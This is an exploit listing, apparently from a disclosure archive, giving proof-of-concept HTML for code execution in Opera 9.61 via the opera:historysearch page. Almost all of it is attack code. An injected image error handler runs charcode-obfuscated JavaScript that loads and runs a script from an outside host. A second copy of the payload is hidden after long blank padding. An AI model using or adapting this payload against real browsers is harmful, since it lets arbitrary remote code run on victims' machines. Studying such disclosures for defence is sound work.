SecurityReason - Opera 9.61 opera:historysearch Code Execution Exploit PoC ( Exploit )

Exploit Code :



<html>
<script>
function x() {
window.open('opera:historysearch?q=%2A"><img src=\'x\'
onerror=\'eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46
,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,3
4,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114
,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,
112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,1
11,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,10
4,105,108,100,40,113,41,59))\'>&p=1&s=1');
window.setTimeout("location.href='mailto:'",4000);
}
</script>
<body scrolling="no">
<a href="#" onclick="x()">Click me...</a>
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
<img src='x'
onerror='eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,
99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34
,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,
97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,1
12,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,11
1,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104
,105,108,100,40,113,41,59))'>;
</body>
</html>